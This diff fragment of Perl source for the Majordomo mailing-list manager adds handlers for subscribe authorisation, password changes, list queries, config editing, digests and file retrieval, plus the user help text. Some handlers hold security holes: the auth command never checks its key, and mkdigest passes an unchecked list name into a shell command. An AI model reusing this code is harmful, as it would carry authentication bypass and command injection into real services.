&squawk("$sm: unknown list '$list'."); + } +} + +sub do_auth { + # Check to see we've got all the arguments; the address is allowed to + # contain spaces, so since our argument list was split on spaces we + # have to join them back together. + local($auth_info, $cmd, $list, @sub) = @_; + if ( !length($auth_info) + || ($cmd ne 'subscribe' + && $cmd ne 'unsubscribe') # can only authorize [un]subscribes at the moment + ) { + &squawk("auth: needs key"); + return 0; + } + $sub = join(' ',@sub); + if ( $cmd eq "subscribe" ) { + &do_subscribe($list, $sub); + } + elsif ( $cmd eq "unsubscribe" ) { + &do_unsubscribe($list, $sub); + } + + +} + +sub do_approve { + # Check to see we've got all the arguments + local($sm) = "approve"; + local($passwd, $cmd); + ($passwd = shift) || &squawk("$sm: needs passwd"); + ($cmd = shift) || &squawk("$sm: which command?"); + $cmd =~ tr/A-Z/a-z/; # downcase the command + # Check to see if the list is valid or use default list. + # and check to see if we've got a valid list + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + if ($clean_list ne "") { + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + # The list is valid; now check to see if the password is + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so set "approved" and do the request + $approved = 1; + if ($cmd eq "subscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD subscribe $clean_list $subscriber"); + &do_subscribe($clean_list, $subscriber); + } elsif ($cmd eq "unsubscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD unsubscribe $clean_list $subscriber"); + &do_unsubscribe($clean_list, $subscriber); + } elsif ($cmd eq "get" + || $cmd eq "index" + || $cmd eq "info" + || $cmd eq "intro" + || $cmd eq "who" + || $cmd eq "which") { + &log("approve PASSWORD $cmd $clean_list " . join(" ", @args)); + $sub = "do_$cmd"; + &$sub($clean_list, @args); + } else { + # you can only approve the above + &squawk("$sm: invalid command '$cmd'"); + } + } else { + &squawk("$sm: invalid list or password."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_passwd { + # check to see that we've got all the arguments + # and check to see if we've got a valid list + local($sm) = "passwd"; + local($list, $clean_list, $passwd, $new_passwd) = &get_listname($sm, 2, @_); + &squawk("$sm: need old password") unless $passwd; + &squawk("$sm: need new password") unless $new_passwd; + + if ($clean_list eq "") { + &squawk("$sm: invalid list '$list'"); + return; + } + # We've got a valid list; now see if the old password is valid + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The old password is correct, so make sure the new one isn't null + if ($new_passwd eq "") { + &squawk("$sm: null 'new_passwd'."); + return; + } + # The new password is valid, too, so write it. + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.passwd"))[2,4,5]; + $mode = (0660) if !$mode; + if (&lopen(PASSWD, ">", "$listdir/$clean_list.passwd")) { + print PASSWD $new_passwd, "\n"; + &lclose(PASSWD); + # set the file mode appropriately + chmod($mode, "$listdir/$clean_list.passwd"); + chown($uid, $gid, "$listdir/$clean_list.passwd") if defined($uid); + print REPLY "Password changed.\n"; + } else { + &abort("Can't open $listdir/$clean_list.passwd: $!"); + } + &log("passwd $clean_list OLD NEW"); + } else { + print REPLY "**** Sorry; old password incorrect.\n"; + &log("FAILED passwd $clean_list OLD NEW"); + } +} + +sub do_which { + local($subscriber) = join(" ", @_) || &valid_addr($reply_to); + local($count, $per_list_hits) = 0; + # Tell the requestor which lists they are on by reading through all + # the lists, comparing their address to each address from each list + print REPLY "The string '$subscriber' appears in the following\n"; + print REPLY "entries in lists served by $whoami:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + $list = $_; + + # get configuration info + &get_config($listdir, $_) if !&cf_ck_bool($_, '', 1); + + # access check + # + next if ! &access_check("which", $reply_to, $listdir, $list); + + open(LIST, "$listdir/$list") || + &abort("Can't open list $listdir/$list"); + while () { + + if (! $approved + && $max_which_hits + && $max_which_hits < $per_list_hits) { + print REPLY "Maximum number of hits ($max_which_hits) exceeded\n"; + last; + } + + $_ = &chop_nl($_); + if (&addr_match($_, $subscriber, 1)) { + if ($count == 0) { + printf REPLY "%-23s %s\n", "List", "Address"; + printf REPLY "%-23s %s\n", "====", "======="; + } + printf REPLY "%-23s %s\n", $list, $_; + $count++; + $per_list_hits++; + } + } + close(LIST); + } + if ($count == 0) { + print REPLY "**** No matches found\n"; + } + print REPLY "\n"; + &log("which $subscriber"); + return 1; +} + +sub do_who { + # Make sure we've got the right arguments + # and check to see if we've got a valid list + local($sm) = "who"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + local($counter) = 0; + + # Check to see that the list is valid + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'who_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("who", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'who'.\n"; + print REPLY "**** You [ $reply_to ] aren't a member of list '$clean_list'.\n"; + return 0; + } + #open it up and tell who's on it + print REPLY "Members of list '$clean_list':\n\n"; + if (&lopen(LIST, "", "$listdir/$clean_list")) { + while () { + print REPLY $_; + $counter++; + } + &lclose(LIST); + printf REPLY "\n%s subscriber%s\n\n", ($counter ? $counter : "No"), + ($counter == 1 ? "" : "s"); + &log("who $clean_list"); + } else { + &abort("Can't open $listdir/$clean_list: $!"); + } + } else { + print REPLY "**** who: no such list '$list'\n"; + } +} + +sub do_info { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "info"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the info, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($allow); + + # check access + $allow = &access_check("info", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.info")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_info"); + &lclose(INFO); + } else { + print REPLY "#### No info available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("info $clean_list"); +} + +sub do_newinfo { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newinfo"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new info + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.info"))[2,4,5]; + $mode = (0664) if !$mode; + if (&lopen(INFO, ">", "$listdir/$clean_list.info")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_info"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.info" > 0) { + chmod($mode, "$listdir/$clean_list.info"); + chown($uid, $gid, "$listdir/$clean_list.info") + if defined($uid); + } + else { + unlink("$listdir/$clean_list.info"); + } + + print REPLY "New info for list $clean_list accepted.\n"; + &log("newinfo $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.info: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newinfo $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_intro { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "intro"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the intro, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + local($allow) = 0; + + # check access + $allow = &access_check("intro", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.intro")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_intro"); + &lclose(INFO); + } else { + print REPLY "#### No intro available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("intro $clean_list"); +} +sub do_newintro { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newintro"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new intro + if (&lopen(INFO, ">", "$listdir/$clean_list.intro")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_intro"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.intro" > 0) { + chmod(0664, "$listdir/$clean_list.intro"); + } + else { + unlink("$listdir/$clean_list.intro"); + } + print REPLY "New intro for list $clean_list accepted.\n"; + &log("newintro $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.intro: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newintro $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} +sub do_config { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "config"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so send the new config if it exists + + if (open(LCONFIG, "$listdir/$clean_list.config")) { + while () { + print REPLY $_; + } + print REPLY "\n#[Last updated ", + &chop_nl(&ctime((stat(LCONFIG))[9])), "]\n"; + close(LCONFIG) || + print REPLY "Error writing config for $clean_list: $!"; + + } else { + print REPLY "#### No config available for $clean_list.\n"; + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED config $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("config $clean_list"); +} + +sub do_newconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new config + # off to the side to validate it. + local($oldumask) = umask($config_umask); + if (open(NCONFIG, ">$listdir/$clean_list.new.config")) { + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print NCONFIG $_, "\n"; + } + close(NCONFIG) || + &abort("Can't write $listdir/$clean_list.config: $!"); + umask($oldumask); + + if ( &get_config($listdir, "$clean_list.new", "locked")) { + unlink "$listdir/$clean_list.new.config"; + &free_lock("$listdir/$clean_list.config.LOCK"); + print REPLY "The new config file for $clean_list was NOT accepted because:\n"; + print REPLY @config'errors; + &log("FAILED (syntax) newconfig $clean_list PASSWORD"); + return (1); + } + + $rename_fail = 0; + if ( !rename("$listdir/$clean_list.config", + "$listdir/$clean_list.old.config") ) { + print REPLY "rename current -> old failed $!"; + $rename_fail = 1; + } + elsif ( !rename("$listdir/$clean_list.new.config", + "$listdir/$clean_list.config")) { + print REPLY "rename new -> current failed $!"; + $rename_fail = 1; + } + + print REPLY "New config for list $clean_list accepted.\n" + if !$rename_fail; + + &log("newconfig $clean_list PASSWORD"); + &get_config($listdir, $clean_list, "locked"); + } else { + &abort("Can't write $listdir/$clean_list.config: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newconfig $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + &free_lock("$listdir/$clean_list.config.LOCK"); + + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_writeconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "writeconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write current config + &config'writeconfig($listdir, $clean_list); + print REPLY "wrote new config for list $clean_list.\n"; + &log("writeconfig $clean_list PASSWORD"); + } else { + &squawk("$sm: invalid password."); + &log("FAILED writeconfig $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_mkdigest { + # Check to make sure we've got the right arguments + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + # We allow the specification of the outgoing alias for the digest so + # that list owners can change it to be something secret, but we have to + # remain backwards compatible, so we allow 2 or 3 args. + local($list_outgoing); + if ($#args == 1) { # Called with 2 or 3 args, one already shifted off + $list_outgoing = shift @args; + } + else { + $list_outgoing = "$list-outgoing"; + } + local($passwd); + ($passwd = shift @args) || &squawk("$sm: needs password"); + local(@digest_errors) = (); + # Check that the list is valid + local($clean_list) = &valid_list($listdir, $list); + if ($clean_list ne "") { + # The list is valid, parse the config file + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so run digest + + open(DIGEST, + "$homedir/digest -m -C -l $list $list_outgoing 2>&1 |"); + @digest_errors = ; + close(DIGEST); + + if ( $? == 256 ) { + print REPLY "*** mkdigest: Failure on exec of digest $!\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: exec error"); + } else { + if ($? != 0 ) { # hey the exec worked + print REPLY "*** digest: failed errors follow\n"; + print REPLY @digest_errors; + &log("FAILED mkdigest $list: errors during digest"); + } else { + print REPLY @digest_errors; + &log("mkdigest $clean_list"); + } + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED mkdigest $clean_list PASSWORD"); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_lists { + # Tell the requester what lists we serve + local($list); + local($reply_addr) = &ParseAddrs($reply_to); + + select((select(REPLY), $| = 1)[0]); + + print REPLY "$whoami serves the following lists:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + $list = $_; + $list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + next if /^(RCS|CVS|core)$/; # files and directories to ignore + next if (-d "$listdir/$list"); # skip directories + + &get_config($listdir, $list) if !&cf_ck_bool($list, '', 1); + + if ( ($'config_opts{$list, 'advertise'} ne '') + || ($'config_opts{$list, 'noadvertise'} ne '') ) { + + local(@array, $i); + local($result) = 0; + local($_) = $reply_addr; + + if ($'config_opts{$list, 'advertise'} ne '') { + @array = split(/\001/,$'config_opts{$list, 'advertise'}); + foreach $i (@array) { + $result = 1, last if (eval $i); # Expects $_ = $reply_addr + } + } else { $result = 1; } + + @array = (); + if ($result) { + @array = split(/\001/,$'config_opts{$list, 'noadvertise'}); + + foreach $i (@array) { + $result = 0, last if (eval $i); # Expects $_ = $reply_addr + } + } + + + $result = &is_list_member($reply_to, $listdir, $list) + if ! $result; + + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'} if $result; + } else { + printf REPLY " %-23s %-.56s\n", $list, + $config_opts{$list, 'description'}; + } + + } + print REPLY "\nUse the 'info ' command to get more information\n"; + print REPLY "about a specific list.\n"; + &log("lists"); +} + +# Subroutines do_get and do_index handle files for the requestor. +# Majordomo will look for the files in directory "$filedir/$list$filedir_suffix" +# You need to specify a directory in majordomo.cf such as: +# $filedir = "/usr/local/mail/files"; +# $filedir_suffix = ""; +# to have it check directory "/usr/local/mail/files/$list" or +# $filedir = "$listdir"; +# $filedir_suffix = ".archive"; +# to have it check directory "$listdir/$list.archive". +# +# If you want majordomo to do the basic file handling, don't +# set the ftpmail options. Set the index command using: +# $index_command = "/bin/ls -lRL"; +# +# If you want FTPMail to do the file handling, also put in: +# $ftpmail_location = "$whereami" +# $ftpmail_address = "ftpmail@$whereami"; +# or +# $ftpmail_address = "ftpmail@decwrl.dec.com"; +# as appropriate. +# +# Note that "$ftpmail_location" might NOT be the same as "$whereami"; +# for instance, at GreatCircle.COM, "$whereami" is "GreatCircle.COM" (which +# is an MX record) but "$ftpmail_location" needs to be "FTP.GreatCircle.COM" +# (which is an alias for actual machine) + +sub do_get { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "get"; + local($list, $clean_list, $filename) = &get_listname($sm, 1, @_); + &squawk("$sm: which file?") unless $filename; + + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'get_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("get", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'get'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK, so check the file name + local($clean_file) = &valid_filename($filedir, $clean_list, + $filedir_suffix, $filename); + if (defined($clean_file)) { + # the file name was OK and exists + # see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + if ($ftpmail_location eq "") {$ftpmail_location = $whereami; }; + &sendmail(FTPMAILMSG, $ftpmail_address, "get $filename", + $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "get $filename\n"; + close (FTPMAILMSG); + print REPLY "'get' request forwarded to $ftpmail_address\n"; + } else { + # file handling is done locally. + if (&lopen(GETFILE, " ", "$clean_file")) { + # Set up the sendmail process to send the file + &sendmail(GETFILEMSG, $reply_to, + "Majordomo file: list '$clean_list' file '$filename'"); + while () { + print GETFILEMSG $_; + } + # close (and thereby send) the file + close(GETFILEMSG); + &lclose(GETFILE); + print REPLY <<"EOM"; +List '$clean_list' file '$filename' +is being sent as a separate message. +EOM + } else { + print REPLY + "#### No such file '$filename' for list '$clean_list'\n"; + } + } + } else { + &squawk("$sm: invalid file '$filename' for list '$clean_list'."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("get $clean_list $filename"); +} + +sub do_index { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "index"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + if ( !$approved + && $config_opts{$clean_list, 'index_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("index", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do an 'index'.\n"; + print REPLY "**** You aren't a member of list '$clean_list'.\n"; + return 0; + } + # The list is OK; see if file handling is done by ftpmail + if (defined($ftpmail_address)) { + # File handling is done by ftpmail + &sendmail(FTPMAILMSG, $ftpmail_address, "index $clean_list", $reply_to); + print FTPMAILMSG "open $ftpmail_location\n"; + print FTPMAILMSG "cd $filedir/$clean_list$filedir_suffix\n"; + print FTPMAILMSG "dir\n"; + close (FTPMAILMSG); + print REPLY "'index' request forwarded to $ftpmail_address\n"; + } else { + if (-d "$filedir/$clean_list$filedir_suffix") { + if (chdir "$filedir/$clean_list$filedir_suffix") { + open(INDEX,"$index_command|") + || &abort("Can't fork to run $index_command, $!"); + while () { + print REPLY $_; + } + unless (close INDEX) { + &bitch("Index command $index_command failed.\n$! $?"); + &squawk("$sm: index command failed"); + } + } + else { + &bitch("Cannot chdir to $filedir/$clean_list$filedir_suffix to build index\n$!"); + &squawk("$sm: index command failed"); + } + } else { + print REPLY "#### No files available for $clean_list.\n"; + } + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("index $list"); + chdir("$homedir"); +} + +sub do_help { + print STDERR "$0: do_help()\n" if $DEBUG; + + local($list4help) = $majordomo_request ? "[]" : ""; + + local($listrequest) = " or to \"-request\@$whereami\".\n"; + $listrequest .= "\nThe parameter is only optional if the "; + $listrequest .= "message is sent to an address\nof the form "; + $listrequest .= "\"-request\@$whereami\"."; + + $listrequest = "." unless $majordomo_request; + + print REPLY <<"EOM"; + +This help message is being sent to you from the Majordomo mailing list +management system at $whoami. + +This is version $majordomo_version of Majordomo. + +If you're familiar with mail servers, an advanced user's summary of +Majordomo's commands appears at the end of this message. + +Majordomo is an automated system which allows users to subscribe +and unsubscribe to mailing lists, and to retrieve files from list +archives. + +You can interact with the Majordomo software by sending it commands +in the body of mail messages addressed to "$whoami". +Please do not put your commands on the subject line; Majordomo does +not process commands in the subject line. + +You may put multiple Majordomo commands in the same mail message. +Put each command on a line by itself. + +If you use a "signature block" at the end of your mail, Majordomo may +mistakenly believe each line of your message is a command; you will +then receive spurious error messages. To keep this from happening, +either put a line starting with a hyphen ("-") before your signature, +or put a line with just the word + + end + +on it in the same place. This will stop the Majordomo software from +processing your signature as bad commands. + +Here are some of the things you can do using Majordomo: + +I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM + +To get a list of publicly-available mailing lists on this system, put the +following line in the body of your mail message to $whoami: + + lists + +Each line will contain the name of a mailing list and a brief description +of the list. + +To get more information about a particular list, use the "info" command, +supplying the name of the list. For example, if the name of the list +about which you wish information is "demo-list", you would put the line + + info demo-list + +in the body of the mail message. + +II. SUBSCRIBING TO A LIST + +Once you've determined that you wish to subscribe to one or more lists on +this system, you can send commands to Majordomo to have it add you to the +list, so you can begin receiving mailings. + +To receive list mail at the address from which you're sending your mail, +simply say "subscribe" followed by the list's name: + + subscribe demo-list + +If for some reason you wish to have the mailings go to a different address +(a friend's address, a specific other system on which you have an account, +or an address which is more correct than the one that automatically appears +in the "From:" header on the mail you send), you would add that address to +the command. For instance, if you're sending a request from your work +account, but wish to receive "demo-list" mail at your personal account +(for which we will use "jqpublic\@my-isp.com" as an example), you'd put +the line + + subscribe demo-list jqpublic\@my-isp.com + +in the mail message body. + +Based on configuration decisions made by the list owners, you may be added +to the mailing list automatically. You may also receive notification +that an authorization key is required for subscription. Another message +will be sent to the address to be subscribed (which may or may not be the +same as yours) containing the key, and directing the user to send a +command found in that message back to $whoami. (This can be +a bit of extra hassle, but it helps keep you from being swamped in extra +email by someone who forged requests from your address.) You may also +get a message that your subscription is being forwarded to the list owner +for approval; some lists have waiting lists, or policies about who may +subscribe. If your request is forwarded for approval, the list owner +should contact you soon after your request. + +Upon subscribing, you should receive an introductory message, containing +list policies and features. Save this message for future reference; it +will also contain exact directions for unsubscribing. If you lose the +intro mail and would like another copy of the policies, send this message +to $whoami: + + intro demo-list + +(substituting, of course, the real name of your list for "demo-list"). + +III. UNSUBSCRIBING FROM MAILING LISTS + +Your original intro message contains the exact command which should be +used to remove your address from the list. However, in most cases, you +may simply send the command "unsubscribe" followed by the list name: + + unsubscribe demo-list + +(This command may fail if your provider has changed the way your +address is shown in your mail.) + +To remove an address other than the one from which you're sending +the request, give that address in the command: + + unsubscribe demo-list jqpublic\@my-isp.com + +In either of these cases, you can tell $whoami to remove +the address in question from all lists on this server by using "*" +in place of the list name: + + unsubscribe * + unsubscribe * jqpublic\@my-isp.com + +IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED + +To find the lists to which your address is subscribed, send this command +in the body of a mail message to $whoami: + + which + +You can look for other addresses, or parts of an address, by specifying +the text for which Majordomo should search. For instance, to find which +users at my-isp.com are subscribed to which lists, you might send the +command + + which my-isp.com + +Note that many list owners completely or fully disable the "which" +command, considering it a privacy violation. + +V. FINDING OUT WHO'S SUBSCRIBED TO A LIST + +To get a list of the addresses on a particular list, you may use the +"who" command, followed by the name of the list: + + who demo-list + +Note that many list owners allow only a list's subscribers to use the +"who" command, or disable it completely, believing it to be a privacy +violation. + +VI. RETRIEVING FILES FROM A LIST'S ARCHIVES + +Many list owners keep archives of files associated with a list. These +may include: +- back issues of the list +- help files, user profiles, and other documents associated with the list +- daily, monthly, or yearly archives for the list + +To find out if a list has any files associated with it, use the "index" +command: + + index demo-list + +If you see files in which you're interested, you may retrieve them by +using the "get" command and specifying the list name and archive filename. +For instance, to retrieve the files called "profile.form" (presumably a +form to fill out with your profile) and "demo-list.9611" (presumably the +messages posted to the list in November 1996), you would put the lines + + get demo-list profile.form + get demo-list demo-list.9611 + +in your mail to $whoami. + +VII. GETTING MORE HELP + +To contact a human site manager, send mail to $whoami_owner. +To contact the owner of a specific list, send mail to that list's +approval address, which is formed by adding "-approval" to the user-name +portion of the list's address. For instance, to contact the list owner +for demo-list\@$whereami, you would send mail to demo-list-approval\@$whereami. + +To get another copy of this help message, send mail to $whoami +with a line saying + + help + +in the message body. + +VIII. COMMAND SUMMARY FOR ADVANCED USERS + +In the description below items contained in []'s are optional. When +providing the item, do not include the []'s around it. Items in angle +brackets, such as
    , are meta-symbols that should be replaced +by appropriate text without the angle brackets. + +It understands the following commands: + + subscribe $list4help [
    ] + Subscribe yourself (or
    if specified) to the named . + + unsubscribe $list4help [
    ] + Unsubscribe yourself (or
    if specified) from the named . + "unsubscribe *" will remove you (or
    ) from all lists. This + _may not_ work if you have subscribed using multiple addresses. + + get $list4help + Get a file related to . + + index $list4help + Return an index of files you can "get" for . + + which [
    ] + Find out which lists you (or
    if specified) are on. + + who $list4help + Find out who is on the named . + + info $list4help + Retrieve the general introductory information for the named . + + intro $list4help + Retrieve the introductory message sent to new users. Non-subscribers + may not be able to retrieve this. + + lists + Show the lists served by this Majordomo server. + + help + Retrieve this message. + + end + Stop processing commands (useful if your mailer adds a signature). + +Commands should be sent in the body of an email message to +"$whoami"$listrequest Multiple commands can be processed provided +each occurs on a separate line. + +Commands in the "Subject:" line are NOT processed. + +If you have any questions or problems, please contact +"$whoami_owner". + +EOM +#' + print STDERR "$0: do_help(): finished writing help text, now logging.\n" if $DEBUG; + + &log("help"); + + print STDERR "$0: do_help(): done\n" if $DEBUG; +} + +sub send_confirm { + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local($cookie) = &gen_cookie($cmd, $list, $subscriber); + local(*AUTH); + + &sendmail(AUTH, $subscriber, "Confirmation for $cmd $list"); + + print AUTH <<"EOM"; +Someone (possibly you) has requested that your email address be added +to or deleted from the mailing list "$list\@$whereami". + +If you really want this action to be taken, please send the following +commands (exactly as shown) back to "$whoami": + + auth $cookie $cmd $list $subscriber + +If you do not want this action to be taken, simply ignore this message +and the request will be disregarded. + +If your mailer will not allow you to send the entire command as a single +line, you may split it using backslashes, like so: + + auth $cookie $cmd $list \\ + $subscriber + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + +Thanks! + +$whoami +EOM + close(AUTH); + + print REPLY <<"EOM"; +**** Your request to $whoami: +**** +**** $cmd $list $subscriber +**** +**** must be authenticated. To accomplish this, another request must be +**** sent in with an authorization key, which has been sent to: +**** $subscriber +**** +**** If the message is not received, there is generally a problem with +**** the address. Before reporting this as a problem, please note the +**** following: +**** +**** You only need to give an address to the subscribe command if you want +**** to receive list mail at a different address from where you sent the +**** command. Otherwise you can simply omit it. +**** +**** If you do give an address to the subscribe command, it must be a legal +**** address. It should not consist solely of your name. The address must +**** point to a machine that is reachable from the list server. +**** +**** If you have any questions about the policy of the list owner, please +**** contact "$list-approval\@$whereami". +**** +**** Thanks! 